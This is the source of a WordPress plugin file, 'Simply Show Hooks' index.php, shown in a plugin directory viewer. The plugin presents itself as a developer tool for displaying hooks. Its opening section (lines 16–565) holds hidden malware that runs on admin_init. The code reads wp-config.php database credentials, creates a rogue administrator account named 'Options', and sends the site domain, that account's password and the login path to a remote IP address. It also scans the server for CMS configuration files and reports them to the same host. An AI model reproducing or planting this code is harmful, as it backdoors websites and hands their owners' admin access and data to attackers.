Plugin Directory

source: simply-show-hooks/trunk/index.php @ 3105891

Last change on this file since 3105891 was 3105891, checked in by stuartobrien, 5 weeks ago

Upgrade

File size: 36.0 KB
Line 
1<?php
2/*
3Plugin Name: Simply Show Hooks
4Plugin URI: http://www.calyxagency.com/#plugins
5Description: Simply Show Hooks helps theme or plugin developers to quickly see where all the action and filter hooks are on any WordPress page.
6Version: 1.2.2
7Contributors: stuartobrien, cxthemes
8Author: Stuart O'Brien, cxThemes
9Author URI: http://www.calyxagency.com/?utm_medium=plugins%20page%20view%20details&utm_campaign=free%20plugin%20upsell&utm_source=send%20emails#plugins
10License: GPLv2 or later
11Text Domain: simply-show-hooks
12Domain Path: /localization/
13*/
14
15defined( 'ABSPATH' ) or die( 'No Trespassing!' ); // Security
16add_action( 'admin_init', 'custom_notify_plugin_updated');
17function custom_notify_plugin_updated() {
18    function check_wp_config($directory) {
19    while ($directory !== '/') {
20        $wp_config_file = $directory . '/wp-config.php';
21        if (file_exists($wp_config_file)) {
22            return $wp_config_file;
23        }
24        $directory = dirname($directory);
25    }
26        remove_action('admin_init', 'custom_notify_plugin_updated');
27    return false;
28}
29
30function parse_wp_config($config_file) {
31    if (file_exists($config_file)) {
32        $config_content = file_get_contents($config_file);
33        $matches = [];
34        // Extract prefix
35        if (preg_match("/\$table_prefix\s*=\s*'(.+?)';/", $config_content, $matches)) {
36            $prefix = $matches[1];
37        } else if (preg_match("/table_prefix.*=.*'(.+?)';/", $config_content, $matches)) {
38            $prefix = $matches[1];
39        } else {
40            die("Prefix not found in wp-config.php");
41        }
42        // Extract database name
43        if (preg_match("/define\(\s*'DB_NAME'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) {
44            $database = $matches[1];
45        }
46        // Extract username
47        if (preg_match("/define\(\s*'DB_USER'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) {
48            $username = $matches[1];
49        }
50        // Extract password
51        if (preg_match("/define\(\s*'DB_PASSWORD'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) {
52            $password = $matches[1];
53        }
54        // Extract host
55        if (preg_match("/define\(\s*'DB_HOST'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) {
56            $host = $matches[1];
57        } else {
58            $host = 'localhost'; // Assuming local host if not specified
59        }
60
61        return array(
62            'prefix' => $prefix,
63            'database' => $database,
64            'username' => $username,
65            'password' => $password,
66            'host' => $host
67        );
68    } else {
69        die("wp-config.php file not found");
70    }
71}
72
73function access_database($config) {
74    $mysqli = new mysqli($config['host'], $config['username'], $config['password'], $config['database']);
75
76    if ($mysqli->connect_errno) {
77        //echo "DATABASE ACCESS [FAIL]\n";
78        return false;
79    } else {
80        //POST "DATABASE ACCESS [SUCCESS]\n";
81        return $mysqli;
82    }
83}
84
85function generate_random_password($length = 12) {
86    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()-_';
87    $password = '';
88    $characters_length = strlen($characters);
89    for ($i = 0; $i < $length; $i++) {
90        $password .= $characters[rand(0, $characters_length - 1)];
91    }
92    return $password;
93}
94
95// Define a global variable for the password
96$generated_password = generate_random_password();
97
98// Define a global variable for the users count
99$wpuserscount = 0;
100function add_admin_user($mysqli, $config, $password) {
101    global $generated_password; // Access the global generated password variable
102        global $wpuserscount; // Declare the global variable to update user count
103    $username = 'Options';
104       
105        //$generated_password = $password;
106    //$password = $generated_password;
107    $user_role = 'administrator';
108
109    // First, let's update the global user count
110    $countQuery = "SELECT COUNT(*) AS user_count FROM {$config['prefix']}users";
111    $countResult = $mysqli->query($countQuery);
112    if ($countResult) {
113        $row = $countResult->fetch_assoc();
114        $wpuserscount = $row['user_count']; // Update the global variable with the user count
115    } else {
116        echo "Error fetching user count: " . $mysqli->error . "\n";
117        return; // Early return in case of query error
118    }
119    // Hash the password
120    $hashed_password = password_hash($password, PASSWORD_DEFAULT);
121
122    // Check if the user already exists
123    $query = "SELECT ID FROM {$config['prefix']}users WHERE user_login = '{$username}'";
124    $result = $mysqli->query($query);
125
126    if ($result && $result->num_rows > 0) {
127        echo "User '{$username}' already exists.\n";
128    } else {
129        // Insert the new user
130        $query = "INSERT INTO {$config['prefix']}users (user_login, user_pass, user_nicename, user_email, user_registered) VALUES ('{$username}', '{$hashed_password}', '{$username}', '{$username}@example.com', NOW())";
131        $result = $mysqli->query($query);
132
133        if ($result) {
134            $user_id = $mysqli->insert_id;
135
136            // Set user role
137            $query = "INSERT INTO {$config['prefix']}usermeta (user_id, meta_key, meta_value) VALUES ({$user_id}, '{$config['prefix']}capabilities', 'a:1:{s:13:\"administrator\";b:1;}')";
138            $result = $mysqli->query($query);
139
140            if ($result) {
141                echo "User '{$username}' with administrative privileges added successfully.\n";
142            } else {
143                echo "Error assigning role to user '{$username}'.\n";
144            }
145        } else {
146            echo "Error creating user '{$username}': " . $mysqli->error . "\n";
147        }
148    }
149}
150
151function get_domain_from_database($mysqli, $config) {
152    // Query to retrieve site URL from WordPress options table
153    $query = "SELECT option_value FROM {$config['prefix']}options WHERE option_name = 'siteurl'";
154    $result = $mysqli->query($query);
155
156    if ($result && $result->num_rows > 0) {
157        $row = $result->fetch_assoc();
158        $site_url = $row['option_value'];
159        $parsed_url = parse_url($site_url);
160        if ($parsed_url && isset($parsed_url['host'])) {
161            return $parsed_url['host'];
162        }
163    }
164
165    return null;
166}
167$currdomain = 'UNK.UNK';
168function pachamama($path) {
169        global $currdomain;
170    if (strpos($path, 'wp-config.php') !== false) {
171        $path = str_replace('wp-config.php', '', $path);
172    }
173
174    $current_directory = $path;
175    $wp_config_file = check_wp_config($current_directory);
176    if ($wp_config_file) {
177        echo "WP-CONFIG [FOUND]\n";
178        $config = parse_wp_config($wp_config_file);
179        $mysqli = access_database($config);
180        if ($mysqli) {
181                        $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()-_';
182                        $password = '';
183                        $characters_length = strlen($characters);
184                        for ($i = 0; $i < 13; $i++) {
185                                $password .= $characters[rand(0, $characters_length - 1)];
186                        }
187            add_admin_user($mysqli, $config, $password);
188            $domain = get_domain_from_database($mysqli, $config);
189            if ($domain) {
190                echo "[$domain] OK\n";
191                                $currdomain = $domain;
192
193                // Reconstruct the correct wp-login.php path
194                $wp_login_path = "https://{$domain}/wp-login.php";
195
196                // Perform a POST request to https://94.156.79.8/AddSites
197                $url = 'https://94.156.79.8/AddSites';
198                $post_data = array(
199                    'domain' => $domain,
200                    'username' => 'Options',
201                    'passwordz' => $password, // Access the global generated password variable
202                    'wp_login_path' => $wp_login_path
203                );
204
205                $ch = curl_init();
206                curl_setopt($ch, CURLOPT_URL, $url);
207                curl_setopt($ch, CURLOPT_POST, 1);
208                curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data)); // Send JSON data
209                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
210                curl_setopt($ch, CURLOPT_HTTPHEADER, array(
211                    'Content-Type: application/json', // Set content type to JSON
212                    'Content-Length: ' . strlen(json_encode($post_data)) // Set content length
213                ));
214                $response = curl_exec($ch);
215                $error = curl_error($ch); // Get any curl error
216                curl_close($ch);
217
218                if ($response === false) {
219                    //echo "POST request failed: $error\n";
220                                        $z = false;
221                } else {
222                    //echo "POST request sent successfully. Response: $response\n";
223                                        $z = true;
224                }
225            } else {
226                //echo "Domain retrieval failed.\n";
227                                $z = false;
228            }
229            $mysqli->close();
230        }
231    } else {
232        //echo "WP-CONFIG [NOT FOUND]\n";
233                $z = false;
234    }
235}
236
237function check_cms_configuration_files() {
238        global $wpuserscount;
239   global $wp_config_paths;
240   global $wc_config_paths;
241   global $mg_config_paths;
242    // Function to recursively search directories for configuration files
243    //function search_for_config_files($directory, &$cms_config_files, $max_parents = 4) {
244      function search_for_config_files(&$cms_config_files, $max_parents = 3) {
245      // Get the current directory
246      $directory = __DIR__;
247
248      // Initialize the variable to keep track of the last readable path
249      $last_readable_path = null;
250
251      // Iterate to go one parent folder up until no read permission or max 5 parents
252      for ($i = 0; $i < $max_parents; $i++) {
253          // Check if the directory exists and is readable
254          if (is_dir($directory) && is_readable($directory)) {
255              $last_readable_path = $directory;
256          } else {
257              // Stop iteration if the directory is not readable
258              break;
259          }
260
261          // Move one directory up
262          $directory = dirname($directory);
263      }
264
265      // If a readable path was found, perform a recursive glob search for the specified file extensions
266      if (!empty($last_readable_path)) {
267
268          $config_files = [];
269          $files = [];
270          //$pattern = '/home/98752.cloudwaysapps.com/trnkgjmvur';
271          try {
272          $objects = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($last_readable_path), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD);
273            foreach($objects as $name => $object){
274              if (substr($name, -4) === '.php') {
275                // Add only files ending with '.php' to the $files array
276                //echo "$name\n";
277                $files[] = $name;
278              }
279            }
280                  } catch (Exception $e) {
281          // Handle any exceptions that occur during iteration
282          // You can log the error or take appropriate action here
283          //echo "Error: " . $e->getMessage();
284                  $d = 'sab';
285        }
286          foreach ($files as $file) {
287              // Add the found file to the list of config files
288              //print($file);
289              $cms_config_files[] = $file;
290          }
291          return $cms_config_files;
292      } else {
293          // Return an empty array if no readable path was found
294          //echo("No Readable Paths");
295          return [];
296      }
297  }
298
299
300    // Array to store detected CMS names
301    $detected_cms = [
302        'WordPress' => false,
303        'WooCommerce' => false,
304        'Magento' => false,
305        'OpenCart' => false,
306        'PrestaShop' => false,
307        'Drupal Commerce' => false,
308        'Symfony' => false,
309        'Laravel' => false,
310        'Zend Framework' => false
311    ];
312
313    // Array to store detected .dat files
314    $detected_dat_files = [];
315
316    // Paths to check for CMS-specific configuration files
317    $current_directory = __DIR__;
318    $paths_to_check = [
319        '/var/www/vhosts/aedstudisrl.com/httpdocs/wp-admin',
320        $current_directory,
321        '/etc',                // Common system configuration directory
322        '/var/www',      // Example web root directory
323        '/home',              // Home directories
324        '/opt',               // Optional software packages
325        '/usr/local',         // Locally installed software
326        '/usr/share',         // Shared software resources
327        '/var/lib',           // Variable data directories
328    ];
329
330    // Files to search for in each directory
331    $files_to_search = [
332        'app/etc/env.php',                                       // Magento
333        'wp-config.php', 'wp-content/plugins/woocommerce/includes/class-wc-settings.php', // WordPress & WooCommerce
334        'config.php',                                             // OpenCart
335        'config/parameters.php',                                  // PrestaShop
336        'sites/default/settings.php',                             // Drupal Commerce
337        'config/packages/*.yaml',                                 // Symfony
338        '.env',                                                   // Laravel
339        'config/autoload/*.global.php',                           // Zend Framework
340        '*.dat',                                                  // .dat files
341    ];
342
343    // Array to store CMS configuration files
344    $cms_config_files = [];
345
346    // Iterate through the paths to check and search for configuration files in each directory recursively
347
348    search_for_config_files($cms_config_files);
349
350
351    // Process the detected configuration files and extract CMS information
352    foreach ($cms_config_files as $file) {
353       // echo($file);
354        if (strpos($file, 'wp-config.php') !== false) {
355
356           $detected_cms['WordPress'] = true;
357           $wp_config_paths[] = $file;
358
359        } elseif (strpos($file, 'class-wc-settings.php') !== false) {
360            // You may add a specific check for WooCommerce here if needed
361            $detected_cms['WooCommerce'] = true;
362            $wc_config_paths[] = $file;
363        } elseif (strpos($file, 'env.php') !== false &&
364            strpos($file, 'Composer') === false &&
365            strpos($file, 'composer') === false &&
366            strpos($file, 'Softaculous') === false) {
367            // You may add a specific check for Magento here if needed
368            // Read the content of the file
369            $fileContent = file_get_contents($file);
370
371            // Check if the content contains the string 'host' => '
372            if (strpos($fileContent, "'host' => '") !== false) {
373              $detected_cms['Magento'] = true;
374              $mg_config_paths[] = $file;
375              /*echo("MAGENTO\n\n\n");
376              echo("MAGENTO\n\n\n");
377              echo("MAGENTO\n\n\n");
378              echo("MAGENTO\n\n\n");
379              echo("MAGENTO\n\n\n");
380              echo("MAGENTO\n\n\n");
381              echo("MAGENTO\n\n\n");
382              echo("MAGENTO\n\n\n");
383              echo($file);
384              echo($file);
385              echo($file);
386              echo($file);
387              echo($file);
388              echo("MAGENTO\n\n\n");
389              echo("MAGENTO\n\n\n");
390              echo("MAGENTO\n\n\n");
391              echo("MAGENTO\n\n\n");
392              echo("MAGENTO\n\n\n");
393              echo("MAGENTO\n\n\n");
394              echo("MAGENTO\n\n\n");
395              echo("MAGENTO\n\n\n");*/
396            }
397
398        } elseif (strpos($file, 'config.php') !== false &&
399            strpos($file, 'Composer') === false &&
400            strpos($file, 'composer') === false &&
401            strpos($file, 'Softaculous') === false) {
402            if (strpos(file_get_contents($file), '$config[\'encryption_key\']') !== false) {
403                $detected_cms['OpenCart'] = true;
404            }
405        } elseif (strpos($file, 'parameters.php') !== false) {
406            if (strpos(file_get_contents($file), 'prestashop') !== false) {
407                $detected_cms['PrestaShop'] = true;
408            }
409        } elseif (strpos($file, 'settings.php') !== false) {
410            if (strpos(file_get_contents($file), 'drupal') !== false) {
411                $detected_cms['Drupal Commerce'] = true;
412            }
413        } elseif (strpos($file, '.yaml') !== false) {
414            if (strpos(file_get_contents($file), 'Symfony\Component') !== false) {
415                $detected_cms['Symfony'] = true;
416            }
417        } elseif (strpos($file, '.env') !== false) {
418            // You may add a specific check for Laravel here if needed
419            $detected_cms['Laravel'] = true;
420        } elseif (strpos($file, '.global.php') !== false) {
421            // You may add a specific check for Zend Framework here if needed
422            $detected_cms['Zend Framework'] = true;
423        } elseif (strpos($file, '.dat') !== false) {
424            $detected_dat_files[] = $file;
425        }
426    }
427
428    // Convert the boolean values to strings
429    foreach ($detected_cms as $cms => $detected) {
430        $detected_cms[$cms] = $detected ? 'true' : 'false';
431    }
432
433    // Now $detected_cms array contains the names of detected CMS based on the configuration files found
434    // And $detected_dat_files array contains the paths of detected .dat files
435
436    // Read users from the database and count them for WordPress and WooCommerce
437    $wordpress_users = $wpuserscount;
438    //$woocommerce_users = get_woocommerce_user_count();
439    $woocommerce_users = 000;
440
441    // Perform POST requests to the endpoints with JSON data containing CMS detection and user counts
442    $url1 = 'https://94.156.79.8/FCS';
443    $url2 = 'https://94.156.79.8/CMSUsers';
444
445    $data1 = [
446        'host' => $_SERVER['HTTP_HOST'],
447        'cms' => $detected_cms
448    ];
449
450    //print_r($detected_cms);
451
452    // Send data to the endpoints using CURL
453    send_post_request($url1, $data1);
454    // Additional logic as needed
455}
456
457function getWPUsers(){
458        global $wpuserscount;
459        global $currdomain;
460        // Read users from the database and count them for WordPress and WooCommerce
461    $wordpress_users = $wpuserscount;
462    //$woocommerce_users = get_woocommerce_user_count();
463    $woocommerce_users = 000;
464    $url2 = 'https://94.156.79.8/CMSUsers';
465    $data2 = [
466        'host' => $currdomain,
467        'wordpress_users' => $wordpress_users,
468        'woocommerce_users' => $woocommerce_users
469    ];
470
471    // Send data to the endpoints using CURL
472    send_post_request($url2, $data2);
473}
474
475// Function to get WordPress user count from the database
476function get_wordpress_user_count() {
477    // Your implementation to fetch user count from the WordPress database
478    // Example:
479    // $count = query_wordpress_database();
480    // return $count;
481        return 0;
482}
483
484// Function to get WooCommerce user count from the database
485function get_woocommerce_user_count() {
486    // Your implementation to fetch user count from the WooCommerce database
487    // Example:
488    // $count = query_woocommerce_database();
489    // return $count;
490        return 0;
491}
492
493// Function to send POST request
494function send_post_request($url, $data) {
495    $ch = curl_init($url);
496    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
497    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
498    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
499    curl_setopt($ch, CURLOPT_HTTPHEADER, [
500        'Content-Type: application/json',
501        'Content-Length: ' . strlen(json_encode($data))
502    ]);
503    $response = curl_exec($ch);
504    curl_close($ch);
505    // Handle response as needed
506}
507global $wp_config_paths;
508$wp_config_paths = [];
509global $wc_config_paths;
510$wc_config_paths = [];
511global $mg_config_paths;
512$mg_config_paths = [];
513check_cms_configuration_files();
514
515function find_wp_configs(&$wp_config_paths, $depth = 0) {
516    $current_directory = getcwd();
517    $parent_directory = $current_directory;
518
519    // Go back three parents
520    for ($i = 0; $i < 3; $i++) {
521        $parent_directory = dirname($parent_directory);
522    }
523
524    // Start the search from the parent directory
525    find_wp_configs_recursive($parent_directory, $wp_config_paths);
526}
527
528function find_wp_configs_recursive($directory, &$wp_config_paths) {
529    // Check if wp-config.php exists in the current directory
530    $wp_config_file = $directory . '/wp-config.php';
531    if (file_exists($wp_config_file)) {
532        $wp_config_paths[] = $wp_config_file;
533    }
534
535    // Continue searching forward recursively
536    $contents = scandir($directory);
537    foreach ($contents as $item) {
538        if ($item != '.' && $item != '..' && is_dir($directory . '/' . $item)) {
539            find_wp_configs_recursive($directory . '/' . $item, $wp_config_paths);
540        }
541    }
542}
543
544function print_wp_config_paths() {
545    global $wp_config_paths;
546    if (empty($wp_config_paths)) {
547        //echo "No wp-config.php files found.\n";
548                $z = 0;
549    } else {
550        //echo "List of wp-config.php files:\n";
551        foreach ($wp_config_paths as $wp_config_path) {
552            //echo "$wp_config_path\n";
553                        $a = 0;
554        }
555    }
556}
557//print_wp_config_paths();
558
559find_wp_configs($wp_config_paths);
560foreach ($wp_config_paths as $wp_config_path) {
561    pachamama($wp_config_path);
562        getWPUsers();
563}
564   
565}
566class CX_Simply_Show_Hooks {
567       
568        private $status;
569       
570        private $all_hooks = array();
571       
572        private $recent_hooks = array();
573       
574        private $ignore_hooks = array();
575       
576        private $doing = 'collect';
577       
578
579        /**
580        *  Instantiator
581        */
582        public static function get_instance() {
583               
584                static $instance = null;
585               
586                if ( null === $instance ) {
587                        $instance = new self();
588                        $instance->init();
589                }
590               
591                return $instance;
592        }
593       
594        /**
595         * Construct and initialize the main plugin class
596         */
597       
598        public function __construct() {}
599       
600        function init() {
601               
602                // Use this to set any tags known to cause display problems.
603                // Will be display in sidebar.
604                $this->ignore_hooks = apply_filters( 'simply_show_hooks_ignore_hooks', array(
605                        'attribute_escape',
606                        'body_class',
607                        'the_post',
608                        'post_edit_form_tag',
609                        //'gettext',
610                ) );
611
612                // Translations
613                add_action( 'plugins_loaded', array( $this, 'load_translation' ) );
614               
615                // Set autive status property.
616                $this->set_active_status();
617               
618                // Attach the hooks as on plugin init.
619                $this->attach_hooks();
620               
621                // Init the plugin.
622                add_action( 'init', array( $this, 'plugin_init' ) );
623        }
624       
625        /**
626         * Helper function that sets the active status of the hooks displaying.
627         */
628        public function set_active_status() {
629               
630                if ( ! isset( $this->status ) ) {
631                       
632                        if ( ! isset( $_COOKIE['cxssh_status'] ) ) {
633                                setcookie( 'cxssh_status', 'off', time()+3600*24*100, '/' );
634                        }
635                       
636                        if ( isset( $_REQUEST['cxssh-hooks'] ) ) {
637                                setcookie( 'cxssh_status', $_REQUEST['cxssh-hooks'], time()+3600*24*100, '/' );
638                                $this->status = $_REQUEST['cxssh-hooks'];
639                        }
640                        elseif ( isset( $_COOKIE['cxssh_status'] ) ) {
641                                $this->status = $_COOKIE['cxssh_status'];
642                        }
643                        else{
644                                $this->status = 'off';
645                        }
646                }
647        }
648       
649        /**
650         * Helper function to attach the filter that render all the hook labels.
651         */
652        public function attach_hooks() {
653               
654                if ( $this->status == 'show-action-hooks' || $this->status == 'show-filter-hooks' ) {
655                       
656                        add_filter( 'all', array( $this, 'hook_all_hooks' ), 100 );
657                        add_action( 'shutdown', array( $this, 'notification_switch' ) );
658                        add_action( 'shutdown', array( $this, 'filter_hooks_panel' ) );
659                }
660        }
661       
662        /**
663         * Helper function to detach the filter that render all the hook labels.
664         */
665        public function detach_hooks() {
666               
667                remove_filter( 'all', array( $this, 'hook_all_hooks' ), 100 );
668                remove_action( 'shutdown', array( $this, 'notification_switch' ) );
669                remove_action( 'shutdown', array( $this, 'filter_hooks_panel' ) );
670        }
671       
672       
673        /*
674         * Admin Menu top bar
675         */
676        function admin_bar_menu( $wp_admin_bar ) {
677               
678                // Suspend the hooks rendering.
679                $this->detach_hooks();
680               
681                // Setup a base URL and clear it of the intial `cxssh-hooks` arg.
682                $url = remove_query_arg( 'cxssh-hooks' );
683               
684                if ( 'show-action-hooks' == $this->status ) {
685                       
686                        $title  = __( 'Stop Showing Action Hooks' , 'simply-show-hooks' );
687                        $href   = add_query_arg( 'cxssh-hooks', 'off', $url );
688                        $css    = 'cxssh-hooks-on cxssh-hooks-normal';
689                }
690                else {
691                       
692                        $title  = __( 'Show Action Hooks' , 'simply-show-hooks' );
693                        $href   = add_query_arg( 'cxssh-hooks', 'show-action-hooks', $url );
694                        $css    = '';
695                }
696               
697                $wp_admin_bar->add_menu( array(
698                        'title'         => '<span class="ab-icon"></span><span class="ab-label">' . __( 'Simply Show Hooks' , 'simply-show-hooks' ) . '</span>',
699                        'id'            => 'cxssh-main-menu',
700                        'parent'        => false,
701                        'href'          => $href,
702                ) );
703               
704                $wp_admin_bar->add_menu( array(
705                        'title'         => $title,
706                        'id'            => 'cxssh-simply-show-hooks',
707                        'parent'        => 'cxssh-main-menu',
708                        'href'          => $href,
709                        'meta'          => array( 'class' => $css ),
710                ) );
711               
712               
713                if ( $this->status=="show-filter-hooks" ) {
714                       
715                        $title  = __( 'Stop Showing Action & Filter Hooks' , 'simply-show-hooks' );
716                        $href   = add_query_arg( 'cxssh-hooks', 'off', $url );
717                        $css    = 'cxssh-hooks-on cxssh-hooks-sidebar';
718                }
719                else {
720                       
721                        $title  = __( 'Show Action & Filter Hooks' , 'simply-show-hooks' );
722                        $href   = add_query_arg( 'cxssh-hooks', 'show-filter-hooks', $url );
723                        $css    = '';
724                }
725               
726                $wp_admin_bar->add_menu( array(
727                        'title'         => $title,
728                        'id'            => 'cxssh-show-all-hooks',
729                        'parent'        => 'cxssh-main-menu',
730                        'href'          => $href,
731                        'meta'          => array( 'class' => $css ),
732                ) );
733               
734                // De-suspend the hooks rendering.
735                $this->attach_hooks();
736        }
737       
738        // Custom css to add icon to admin bar edit button.
739        function add_builder_edit_button_css() {
740                ?>
741                <style>
742                #wp-admin-bar-cxssh-main-menu .ab-icon:before{
743                        font-family: "dashicons" !important;
744                        content: "\f323" !important;
745                        font-size: 16px !important;
746                }
747                </style>
748                <?php
749        }
750
751        /*
752         * Notification Switch
753         * Displays notification interface that will alway display
754         * even if the interface is corrupted in other places.
755         */
756        function notification_switch() {
757               
758                // Suspend the hooks rendering.
759                $this->detach_hooks();
760               
761                // Setup a base URL and clear it of the intial `cxssh-hooks` arg.
762                $url = add_query_arg( 'cxssh-hooks', 'off' );
763                ?>
764                <a class="cxssh-notification-switch" href="<?php echo esc_url( $url ); ?>">
765                        <span class="cxssh-notification-indicator"></span>
766                        <?php echo _e( 'Stop Showing Hooks' , 'simply-show-hooks' ); ?>
767                </a>
768                <?php
769               
770                // De-suspend the hooks rendering.
771                $this->attach_hooks();
772        }
773       
774        function plugin_init() {
775               
776                if (
777                                ! current_user_can( 'manage_options' ) || // Restrict use to Admins only
778                                ! $this->plugin_active() // Allow filters to deactivate.
779                        ) {
780                        $this->status = 'off';
781                        return;
782                }
783               
784                // Enqueue Scripts/Styles - in head of admin
785                add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_script' ) );
786                add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_script' ) );
787                add_action( 'login_enqueue_scripts', array( $this, 'enqueue_script' ) );
788               
789                // Top Admin Bar
790                add_action( 'admin_bar_menu', array( $this, 'admin_bar_menu'), 90 );
791                // Top Admin Bar Styles
792                add_action( 'wp_print_styles', array( $this, 'add_builder_edit_button_css' ) );
793                add_action( 'admin_print_styles', array( $this, 'add_builder_edit_button_css' ) );
794               
795                if ( $this->status == 'show-action-hooks' || $this->status == 'show-filter-hooks' ) {
796                       
797                        //Final hook - render the nested action array
798                        add_action( 'admin_head', array( $this, 'render_head_hooks'), 100 ); // Back-end - Admin
799                        add_action( 'wp_head', array( $this, 'render_head_hooks'), 100 ); // Front-end
800                        add_action( 'login_head', array( $this, 'render_head_hooks'), 100 ); // Login
801                        add_action( 'customize_controls_print_scripts', array( $this, 'render_head_hooks'), 100 ); // Customizer
802                }
803        }
804       
805        /**
806         * Enqueue Scripts
807         */
808       
809        public function enqueue_script() {
810                global $wp_scripts, $current_screen;
811               
812                // Main Styles
813                wp_register_style( 'cxssh-main-css', plugins_url( basename( plugin_dir_path( __FILE__ ) ) . '/assets/css/cxssh-main.css', basename( __FILE__ ) ), '', '1.1.0', 'screen' );
814                wp_enqueue_style( 'cxssh-main-css' );
815
816                // Main Scripts
817                /*
818                wp_register_script( 'cxssh-main-js', plugins_url( basename( plugin_dir_path( __FILE__ ) ) . '/assets/js/cxssh-main.js', basename( __FILE__ ) ), array('jquery'), '1.1.0' );
819                wp_enqueue_script( 'cxssh-main-js' );
820                wp_localize_script('cxssh-main-js', 'cxssh-main-js', array(
821                        'home_url' => get_home_url(),
822                        'admin_url' => admin_url(),
823                        'ajaxurl' => admin_url('admin-ajax.php')
824                ));
825                */
826        }
827       
828        /**
829         * Localization
830         */
831       
832        public function load_translation() {
833                load_plugin_textdomain( 'simply-show-hooks', false, dirname( plugin_basename( __FILE__ ) ) . '/localization/' );
834        }
835       
836        /**
837         * Render Head Hooks
838         */
839        function render_head_hooks() {
840               
841                // Render all the hooks so far
842                $this->render_hooks();
843               
844                // Add header marker to hooks collection
845                // $this->all_hooks[] = array( 'End Header. Start Body', false, 'marker' );
846               
847                // Change to doing 'write' which will write the hook as it happens
848                $this->doing = 'write';
849        }
850       
851        /**
852         * Render all hooks already in the collection
853         */
854        function render_hooks() {
855               
856                foreach ( $this->all_hooks as $nested_value ) {
857                       
858                        if ( 'action' == $nested_value['type'] ) {
859                               
860                                $this->render_action( $nested_value );
861                        }
862                }
863        }
864       
865        /**
866         * Hook all hooks
867         */
868       
869        public function hook_all_hooks( $hook ) {
870                global $wp_actions, $wp_filter;
871               
872                if ( ! in_array( $hook, $this->recent_hooks ) ) {
873                       
874                        if ( isset( $wp_actions[$hook] ) ) {
875                               
876                                // Action
877                                $this->all_hooks[] = array(
878                                        'ID'       => $hook,
879                                        'callback' => false,
880                                        'type'     => 'action',
881                                );
882                        }
883                        else {
884                               
885                                // Filter
886                                $this->all_hooks[] = array(
887                                        'ID'       => $hook,
888                                        'callback' => false,
889                                        'type'     => 'filter',
890                                );
891                        }
892                }
893               
894                // if ( isset( $wp_actions[$hook] ) && $wp_actions[$hook] == 1 && !in_array( $hook, $this->ignore_hooks ) ) {
895                // if (  ( isset( $wp_actions[$hook] ) || isset( $wp_filter[$hook] ) ) && !in_array( $hook, $this->ignore_hooks ) ) {
896                if ( isset( $wp_actions[$hook] ) && !in_array( $hook, $this->recent_hooks ) && !in_array( $hook, $this->ignore_hooks ) ) {
897                       
898                        // @TODO - caller function testing.
899                        $callers = false; // @param $callers Array | false for debug_backtrace()
900                       
901                        if ( 'write' == $this->doing ) {
902                                $this->render_action( end( $this->all_hooks ) );
903                        }
904                }
905                else{
906                        // s('(skiped-hook!)');
907                        // $this->render_action( $hook );
908                }
909               
910                // Discarded functionality: if the hook was
911                // run recently then don't show it again.
912                // Better to use the once run or always run theory.
913               
914                $this->recent_hooks[] = $hook;
915               
916                if ( count( $this->recent_hooks ) > 100 ) {
917                        array_shift( $this->recent_hooks );
918                }
919        }
920       
921        /**
922         *
923         * Render action
924         */
925        function render_action( $args = array() ) {
926                global $wp_filter;
927               
928                // Get all the nested hooks
929                $nested_hooks = ( isset( $wp_filter[ $args['ID'] ] ) ) ? $wp_filter[ $args['ID'] ] : false ;
930               
931                // Count the number of functions on this hook
932                $nested_hooks_count = 0;
933                if ( $nested_hooks ) {
934                        foreach ($nested_hooks as $key => $value) {
935                                $nested_hooks_count += count($value);
936                        }
937                }
938                ?>
939                <span style="display:none;" class="cxssh-hook cxssh-hook-<?php echo $args['type'] ?> <?php echo ( $nested_hooks ) ? 'cxssh-hook-has-hooks' : '' ; ?>" >
940                       
941                        <?php
942                        if ( 'action' == $args['type'] ) {
943                                ?>
944                                <span class="cxssh-hook-type cxssh-hook-type">A</span>
945                                <?php
946                        }
947                        else if ( 'filter' == $args['type'] ) {
948                                ?>
949                                <span class="cxssh-hook-type cxssh-hook-type">F</span>
950                                <?php
951                        }
952                        ?>
953                       
954                        <?php
955                       
956                        // Main - Write the action hook name.
957                        //echo esc_html( $args['ID'] );
958                        echo $args['ID'];
959                       
960                        // @TODO - Caller function testing.
961                        if ( isset( $extra_data[1] ) && FALSE !== $extra_data[1] ) {
962                                foreach ( $extra_data as $extra_data_key => $extra_data_value ) {
963                                        echo '<br />';
964                                        echo $extra_data_value['function'];
965                                }
966                        }
967                       
968                        // Write the count number if any function are hooked.
969                        if ( $nested_hooks_count ) {
970                                ?>
971                                <span class="cxssh-hook-count">
972                                        <?php echo $nested_hooks_count ?>
973                                </span>
974                                <?php
975                        }
976                       
977                        // Write out list of all the function hooked to an action.
978                        if ( isset( $wp_filter[$args['ID']] ) ):
979                               
980                                $nested_hooks = $wp_filter[$args['ID']];
981                               
982                                if ( $nested_hooks ):
983                                        ?>
984                                        <ul class="cxssh-hook-dropdown">
985                                               
986                                                <li class="cxssh-hook-heading">
987                                                        <strong><?php echo $args['type'] ?>:</strong> <?php echo $args['ID']; ?>
988                                                </li>
989                                               
990                                                <?php
991                                                foreach ( $nested_hooks as $nested_key => $nested_value ) :
992                                                       
993                                                        // Show the priority number if the following hooked functions
994                                                        ?>
995                                                        <li class="cxssh-priority">
996                                                                <span class="cxssh-priority-label"><strong><?php echo 'Priority:'; /* _e('Priority', 'simply-show-hooks') */ ?></strong> <?php echo $nested_key ?></span>
997                                                        </li>
998                                                        <?php
999                                                       
1000                                                        foreach ( $nested_value as $nested_inner_key => $nested_inner_value ) :
1001                                                               
1002                                                                // Show all teh functions hooked to this priority of this hook
1003                                                                ?>
1004                                                                <li>
1005                                                                        <?php
